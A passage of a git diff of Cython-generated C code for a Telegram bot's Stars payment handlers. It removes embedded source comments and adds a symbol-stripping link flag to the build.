process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ __pyx_tuple__36 = PyTuple_Pack(5, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__36); __Pyx_GIVEREF(__pyx_tuple__36); __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__36, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_custom_amount_input, 170, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 170, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":208 - * - * - * @router.pre_checkout_query() # <<<<<<<<<<<<<< - * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): - * await pre_checkout_query.answer(ok=True) - */ __pyx_tuple__37 = PyTuple_Pack(1, __pyx_n_s_pre_checkout_query); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__37); __Pyx_GIVEREF(__pyx_tuple__37); __pyx_codeobj__28 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 1, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_on_pre_checkout_query, 208, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__28)) __PYX_ERR(0, 208, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":213 - * - * - * @router.message(F.successful_payment) # <<<<<<<<<<<<<< - * async def on_successful_payment( - * message: types.Message, - */ __pyx_tuple__38 = PyTuple_Pack(4, __pyx_n_s_message, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__38); __Pyx_GIVEREF(__pyx_tuple__38); @@ -11638,11 +10385,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif - /* "handlers/payments/stars_pay.py":1 - * from typing import Any # <<<<<<<<<<<<<< - * - * from aiogram import F, Router, types - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_Any); @@ -11657,13 +10399,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":3 - * from typing import Any - * - * from aiogram import F, Router, types # <<<<<<<<<<<<<< - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup - */ __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_F); @@ -11692,13 +10427,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":4 - * - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_FSMContext); @@ -11713,13 +10441,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":5 - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< - * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery - * from aiogram.utils.keyboard import InlineKeyboardBuilder - */ __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_State); @@ -11741,13 +10462,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":6 - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery # <<<<<<<<<<<<<< - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * - */ __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); @@ -11776,13 +10490,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":7 - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery - * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< - * - * from config import RUB_TO_XTR - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); @@ -11797,13 +10504,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":9 - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * - * from config import RUB_TO_XTR # <<<<<<<<<<<<<< - * from database import ( - * add_connection, - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_RUB_TO_XTR); @@ -11818,13 +10518,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":11 - * from config import RUB_TO_XTR - * from database import ( - * add_connection, # <<<<<<<<<<<<<< - * add_payment, - * check_connection_exists, - */ __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_add_connection); @@ -11843,13 +10536,6 @@ if (!__Pyx_RefNanny) { __Pyx_GIVEREF(__pyx_n_s_update_balance); if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 11, __pyx_L1_error); - /* "handlers/payments/stars_pay.py":10 - * - * from config import RUB_TO_XTR - * from database import ( # <<<<<<<<<<<<<< - * add_connection, - * add_payment, - */ __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -11875,13 +10561,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":17 - * update_balance, - * ) - * from handlers.payments.gift import STARS_ROUTER # <<<<<<<<<<<<<< - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_STARS_ROUTER); @@ -11896,13 +10575,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":18 - * ) - * from handlers.payments.gift import STARS_ROUTER - * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< - * from handlers.texts import PAYMENT_OPTIONS - * from logger import logger - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); @@ -11917,13 +10589,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":19 - * from handlers.payments.gift import STARS_ROUTER - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< - * from logger import logger - * - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); @@ -11938,13 +10603,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":20 - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS - * from logger import logger # <<<<<<<<<<<<<< - * - * router = Router() - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_logger); @@ -11959,13 +10617,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":22 - * from logger import logger - * - * router = Router() # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) @@ -11974,13 +10625,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":26 - * - * - * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< - * choosing_amount_stars = State() - * waiting_for_payment_confirmation_stars = State() - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) @@ -11999,13 +10643,6 @@ if (!__Pyx_RefNanny) { } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":27 - * - * class ReplenishBalanceState(StatesGroup): - * choosing_amount_stars = State() # <<<<<<<<<<<<<< - * waiting_for_payment_confirmation_stars = State() - * entering_custom_amount_stars = State() - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; @@ -12033,13 +10670,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_stars, __pyx_t_2) < 0) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":28 - * class ReplenishBalanceState(StatesGroup): - * choosing_amount_stars = State() - * waiting_for_payment_confirmation_stars = State() # <<<<<<<<<<<<<< - * entering_custom_amount_stars = State() - * - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; @@ -12067,13 +10697,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":29 - * choosing_amount_stars = State() - * waiting_for_payment_confirmation_stars = State() - * entering_custom_amount_stars = State() # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; @@ -12101,13 +10724,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_entering_custom_amount_stars, __pyx_t_2) < 0) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":26 - * - * - * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< - * choosing_amount_stars = State() - * waiting_for_payment_confirmation_stars = State() - */ __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_4, __pyx_n_s_ReplenishBalanceState, __pyx_t_3, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 26, __pyx_L1_error) @@ -12116,13 +10732,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":32 - * - * - * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< - * async def process_callback_pay_stars( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 32, __pyx_L1_error) @@ -12155,13 +10764,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_stars, __pyx_t_3) < 0) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":102 - * - * - * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 102, __pyx_L1_error) @@ -12197,13 +10799,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_5) < 0) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/stars_pay.py":155 - * - * - * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) @@ -12235,13 +10830,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_5) < 0) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/stars_pay.py":170 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 170, __pyx_L1_error) @@ -12271,13 +10859,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_3) < 0) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":208 - * - * - * @router.pre_checkout_query() # <<<<<<<<<<<<<< - * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): - * await pre_checkout_query.answer(ok=True) - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_pre_checkout_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 208, __pyx_L1_error) @@ -12300,13 +10881,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_on_pre_checkout_query, __pyx_t_4) < 0) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/stars_pay.py":213 - * - * - * @router.message(F.successful_payment) # <<<<<<<<<<<<<< - * async def on_successful_payment( - * message: types.Message, - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 213, __pyx_L1_error) @@ -12335,11 +10909,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_on_successful_payment, __pyx_t_3) < 0) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":1 - * from typing import Any # <<<<<<<<<<<<<< - * - * from aiogram import F, Router, types - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_3) < 0) __PYX_ERR(0, 1, __pyx_L1_error) diff --git a/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so index 89a3361d..9adc5b92 100755 Binary files a/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/utils.c b/handlers/payments/utils.c index 65d0bfa7..f052a685 100644 --- a/handlers/payments/utils.c +++ b/handlers/payments/utils.c @@ -7,6 +7,9 @@ "-O2", "-static-libgcc" ], + "extra_link_args": [ + "-s" + ], "name": "handlers.payments.utils", "sources": [ "handlers/payments/utils.py" @@ -1493,13 +1496,6 @@ static const char *__pyx_f[] = { /*--- Type declarations ---*/ struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; -/* "handlers/payments/utils.py":16 - * - * - * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< - * try: - * user_id = int(user_id) - */ struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification { PyObject_HEAD double __pyx_v_amount; @@ -3031,13 +3027,6 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/utils.py":16 - * - * - * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< - * try: - * user_id = int(user_id) - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_5utils_1send_payment_success_notification(PyObject *__pyx_self, @@ -3251,13 +3240,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 16, __pyx_L1_error) - /* "handlers/payments/utils.py":17 - * - * async def send_payment_success_notification(user_id: int, amount: float): - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id) - * - */ { __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); @@ -3265,13 +3247,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { - /* "handlers/payments/utils.py":18 - * async def send_payment_success_notification(user_id: int, amount: float): - * try: - * user_id = int(user_id) # <<<<<<<<<<<<<< - * - * builder = InlineKeyboardBuilder() - */ __pyx_t_4 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 18, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); if (!(likely(__Pyx_Py3Int_CheckExact(__pyx_t_4)) || __Pyx_RaiseUnexpectedTypeError("int", __pyx_t_4))) __PYX_ERR(0, 18, __pyx_L4_error) @@ -3280,13 +3255,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/utils.py":20 - * user_id = int(user_id) - * - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row(InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 20, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; @@ -3315,13 +3283,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_builder = __pyx_t_4; __pyx_t_4 = 0; - /* "handlers/payments/utils.py":21 - * - * builder = InlineKeyboardBuilder() - * builder.row(InlineKeyboardButton(text=PROFILE, callback_data="profile")) # <<<<<<<<<<<<<< - * - * if USE_NEW_PAYMENT_FLOW: - */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 21, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 21, __pyx_L4_error) @@ -3362,26 +3323,12 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/utils.py":23 - * builder.row(InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - * if USE_NEW_PAYMENT_FLOW: # <<<<<<<<<<<<<< - * from handlers.keys.key_management import create_key - * conn = await asyncpg.connect(DATABASE_URL) - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_USE_NEW_PAYMENT_FLOW); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 23, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely((__pyx_t_10 < 0))) __PYX_ERR(0, 23, __pyx_L4_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_10) { - /* "handlers/payments/utils.py":24 - * - * if USE_NEW_PAYMENT_FLOW: - * from handlers.keys.key_management import create_key # <<<<<<<<<<<<<< - * conn = await asyncpg.connect(DATABASE_URL) - * try: - */ __pyx_t_4 = PyList_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 24, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_n_s_create_key); @@ -3398,13 +3345,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/utils.py":25 - * if USE_NEW_PAYMENT_FLOW: - * from handlers.keys.key_management import create_key - * conn = await asyncpg.connect(DATABASE_URL) # <<<<<<<<<<<<<< - * try: - * temp_data = await get_temporary_data(conn, user_id) - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_asyncpg); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 25, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_connect); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 25, __pyx_L4_error) @@ -3472,22 +3412,8 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_conn = __pyx_t_5; __pyx_t_5 = 0; - /* "handlers/payments/utils.py":26 - * from handlers.keys.key_management import create_key - * conn = await asyncpg.connect(DATABASE_URL) - * try: # <<<<<<<<<<<<<< - * temp_data = await get_temporary_data(conn, user_id) - * if temp_data: - */ /*try:*/ { - /* "handlers/payments/utils.py":27 - * conn = await asyncpg.connect(DATABASE_URL) - * try: - * temp_data = await get_temporary_data(conn, user_id) # <<<<<<<<<<<<<< - * if temp_data: - * state = temp_data["state"] - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_temporary_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 27, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = NULL; @@ -3549,49 +3475,21 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_temp_data = __pyx_t_5; __pyx_t_5 = 0; - /* "handlers/payments/utils.py":28 - * try: - * temp_data = await get_temporary_data(conn, user_id) - * if temp_data: # <<<<<<<<<<<<<< - * state = temp_data["state"] - * data = temp_data["data"] - */ __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_temp_data); if (unlikely((__pyx_t_10 < 0))) __PYX_ERR(0, 28, __pyx_L13_error) if (__pyx_t_10) { - /* "handlers/payments/utils.py":29 - * temp_data = await get_temporary_data(conn, user_id) - * if temp_data: - * state = temp_data["state"] # <<<<<<<<<<<<<< - * data = temp_data["data"] - * - */ __pyx_t_5 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_temp_data, __pyx_n_u_state); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 29, 